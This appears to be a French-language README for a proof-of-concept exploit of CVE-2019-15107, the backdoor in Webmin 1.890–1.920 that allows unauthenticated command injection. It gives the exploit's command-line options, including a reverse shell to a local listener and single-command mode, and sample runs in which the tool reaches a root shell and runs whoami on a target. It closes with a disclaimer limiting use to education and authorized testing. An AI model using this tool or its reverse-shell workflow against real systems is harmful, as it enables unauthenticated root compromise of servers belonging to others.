
Proof-of-concept exploit for CVE-2019-15107 (Webmin <= 1.920) enabling unauthenticated RCE via command injection.
Ce dépôt contient une preuve de concept (PoC) de l'exploit pour CVE-2019-15107 affectant les versions de Webmin 1.890 à 1.920.
Le script exploite une porte dérobée dans les versions 1.890 à 1.920 qui permet à des utilisateurs non authentifiés d'injecter des commandes dans le point d'accès password_change.cgi via le paramètre old (dans la version 1.890 expired). Seuls les téléchargements SourceForge ont été compromis, mais ils sont répertoriés comme téléchargements officiels sur le site du projet.
Un ou des attaquants inconnus ont inséré des instructions Perl qx dans le code source du serveur de build à deux reprises : une fois en avril 2018, introduisant la porte dérobée dans la version 1.890, et en juillet 2018, réintroduisant la porte dérobée dans les versions 1.900 à 1.920.
Seule la version 1.890 est exploitable dans l'installation par défaut. Les versions ultérieures affectées nécessitent que la fonction de changement de mot de passe expiré soit activée.
L'exploit a été testé avec succès contre :
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Affiche ce message d'aide et quitte
-r, --rhost RHOST Adresse IP de la cible
-rp, --rport RPORT Port de la cible (par défaut : 10000)
-l, --lhost LHOST IP locale pour le shell inverse
-lp, --lport LPORT Port local pour le shell inverse (par défaut : 4343)
-s, --scheme {http,https} Protocole à utiliser (par défaut : https)
-x, --proxy [PROXY] Utiliser un proxy (par défaut : http://127.0.0.1:8080)
-f, --force Forcer l'exploitation même si la détection échoue
-c, --cmd CMD Exécuter une seule commande au lieu du shell inverse
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Vérification de la vulnérabilité...
[*] Détection de la version cible...
[+] Webmin 1.890 détecté
[+] La cible est vulnérable
[*] Démarrage de l'écouteur sur le port 4343...
listening on [any] 4343 ...
[*] Envoi de la charge utile...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Vérification de la vulnérabilité...
[*] Détection de la version cible...
[+] Webmin 1.890 détecté
[+] La cible est vulnérable
[+] Sortie de la commande :
========================================
root
Cet outil est destiné uniquement à des fins éducatives et de tests autorisés. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation de tester est illégale. Utilisez-le de manière responsable.